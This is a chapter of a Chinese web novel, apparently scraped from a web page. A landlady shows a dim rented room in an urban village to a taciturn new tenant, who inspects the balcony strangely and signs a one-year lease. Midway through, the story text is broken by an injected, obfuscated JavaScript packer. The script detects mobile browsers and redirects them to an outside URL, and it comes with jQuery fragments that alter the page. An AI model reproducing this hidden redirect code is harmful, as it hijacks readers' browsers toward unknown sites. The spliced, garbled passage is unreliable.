李琳刚把四楼套二租出去一天，手机又响了。
这次是村里的族老文叔打来的，老人家那口带着浓浓石陂村腔调的广府话，透过听筒传来时总带着股不容推拒的热络：“阿琳啊，你栋楼仲有冇空单间啊？介绍个女仔去你嗰边住啦（阿琳啊，你那栋楼还有空的单间没有？介绍一个女孩子去你那里住）～”
李琳握着手机，走到窗边。楼下巷道里，收废品的三轮车正慢悠悠晃过，车铃叮当作响。“唔该晒文叔（多谢文叔），”她轻声问道：，“佢几时嚟睇间房（她什么时候来看房）？”
“佢即刻就过嚟（她马上就过来）。”文叔应得干脆，随即却顿了顿，话筒里传来几声不自然的清嗓，“咳……呢个女仔呢，人……几稳阵嘅（这个女孩子人品很稳妥）。”他说“稳阵”两个字时，音调有意无意地拖长了些，仿佛在掂量更合适的词，末了又补上一句，语气里带着某种不好言明的含混又很郑重的说道，“你平时……顺顺利利同佢相处就得啦。”
说完，他像是为了掩饰什么，又重重地咳了一声，那声音沉闷而刻意，几乎不像是自然的咳嗽，倒像是一道意味深长的提醒，悬在通话的末尾。
电话刚挂断，掌心的手机尚未凉透，另一个陌生来电便响了。铃声在骤然安静的房间里显得格外突兀。李琳瞥了一眼屏幕，是个本地号码，她按下接听。
听筒里传来一口清晰标准的普通话，年轻女性的声音，干脆利落：“房东你好，我是文叔介绍过来的张罗宁，请问你二楼或者三楼还有空的单间吗？”
“有的。”李琳应道，目光已先一步飘向窗外南二巷巷口的方向。她的视线在巷口稀疏的人影间缓缓移动，掠过水果摊、杂货店，最终落在不远处一个正独自站着、面朝这边、握着手机贴在耳边的年轻女孩身影上。女孩穿着深色外套，高高瘦瘦，站姿笔直。
李琳垂下眼睫，目光落在自己另一只空着的手上，指尖在桌面上无意识地轻叩了一下，才接着开口：“不过采光都不太好，偏暗。”
“没关系，”对方回答得很快，几乎不假思索，“那我现在就过来看房？”
“需要我给你发定位吗？”李琳问道，声音没什么起伏。同时，她握着手机，将另一只空着的手轻轻搭在窗框冰凉的瓷砖边缘，上身朝窗前倾了些许，目光锁定了巷口那个女孩的身影。
几乎在她话音落下的同时，巷口的女孩恰好抬起头，目光似乎正望向3号楼的方向。
“不用，”电话那头的声音清晰地传来，与此同时窗外那个女孩抬步向这边走来的动作几乎同步，“我就在巷口，马上过来。”
李琳挂了电话，目光仍停留在窗外。那个深色外套的身影正朝着3号楼的方向稳步走来，很有目的性。她收回视线，转身从抽屉里取出钥匙串，金属碰撞发出轻微的响声。
她下楼时，那女孩正好推开虚掩的院门走进来。两人在略显昏暗的一楼门厅里打了个照面。近距离看，张罗宁约莫二十七八岁，个子一米七左右，身形偏瘦，扎着简单的低马尾，脸上有种与年龄不太相符的沉静。她的眼睛很亮，看人时目光直接，不闪躲，也不过分探究。
“张罗宁？”李琳确认道。
“是我。房东？”女孩的微笑着回道。
“李琳。你先看二楼还是三楼？”
“三楼。”
没有多余的寒暄，李琳领着她上楼。楼梯间里只有两人的脚步声，一重一轻。到了三楼，正对楼梯口的那扇门就是302。李琳打开门，侧身让开。
一个狭小的过厅连着十来平米的卧室，便构成了这个单间的全部。卧室里紧凑地摆着单人床、简易衣柜和一张书桌，床尾那扇窗户透进的光线稀薄无力，给所有物件都蒙上了一层灰蒙蒙的滤镜。
张罗宁从卧室转身出来，过厅的墙角立着个半旧的冰箱，白色外壳已有些泛黄，插头松松地垂在地上。整个空间里，只有不锈钢网封住的阳台显得敞亮——它恰好与后头那栋楼的窗户错开，光线充足。
阳台左边是窄小的卫生间，右边一方不锈钢台面上，电磁炉和电水壶挨着摆放，收拾得干干净净。
张罗宁走了过去，她的查看方式很特别，并不像多数租客那样先检查卫生间和家电，而是先走到阳台边，审视着隔壁楼墙壁，五指张开仿佛在测量某种无形的距离。又抬手试了试阳台上不锈钢网面的结实性。接着，把手贴着墙上瓷砖，像是梅雨季节广府人检查墙面阴湿返潮的动作，可眼下正是广府最干燥的季节。
整个过程沉默而迅速，带着一种目的明确的专业感，不像看房，倒像某种验收。
“就这间吧。”她转过身，语气肯定，没有纠结的意思，“房租押一付一？”
李琳点点头：“嗯，房租四百五。水五块一吨，电一块二一度。网络免费，路由器自备。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193549|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“行。”张罗宁的应答短促有力，随即补充，“长租，至少一年。需要签正式合同吗？”
“要。”李琳从随身文件袋里取出提前打印好的标准租赁合同和一支黑色水笔：“身份证我看一下，需要登记。”
张罗宁从外套内袋取出身份证递过。李琳接过，指尖触到卡片微凉的质感，也瞥见了签发机关。她一边登记一边问道：“江西人？”
“对。”张罗宁的回答同样简略，“刚到广府，来混口饭吃。”
登记完毕，李琳将身份证递回，同时调出手机里安琪的微信二维码：“加一下房东微信给她转账。以后每月租金和水电费也直接转账给她。”
张罗宁扫码，一边发送好友申请，一边问道，“房东怎么称呼？”
“安琪·李，英文名。”李琳补充说道：“平时沟通用微信，她人常年住在国外。”
申请几乎是秒速通过。张罗宁低头在手机上快速操作了几下。很快，李琳握着的手机微微一震，屏幕亮起，安琪的消息跳了出来：“新租客？张罗宁？房租转了九百过来。（押一付一？）”后面跟着个略带疑惑的卡通表情。
李琳单手打字回复，言简意赅：“对，302长租。”
安琪那头只回了句“OK”，便没了下文。
“好了。”张罗宁抬起头，将手机屏幕朝李琳方向略一示意，转账成功的界面一闪而过，算是交代完成。
李琳从钥匙串上卸下两把302的钥匙，递了过去。接着，开始交代那些琐碎事项：“快递一般放在一楼大厅的置物架上，贵重件最好及时去取。楼层公共区域，我会打扫，也要注意爱护卫生，垃圾不要放门口。晚上十一点后，请注意控制音量，避免影响邻居。如果有亲友长期同住，必须登记报备。网格员会不定期核查居住人员，如果查到未登记的人员留宿，罚款金额不低，这笔钱需要由租客承担。”她语速不快，确保每一条都能被听清，目光平静地看着对方，等待回应或提问。
张罗宁认真听着，不时点头，没有插话，直到李琳说完，她才开口，问了一个本该是签合同前问的问题：“早晚安静吗？”
“都是上班族，没小孩，特别吵倒不会。不过这村里的老房子，楼板薄，墙壁也不隔音……”李琳诚恳的给出建议：“要是睡眠浅，怕被搭扰，自己备副耳塞吧。”
张罗宁点点头，“行，那我过两天搬过来。”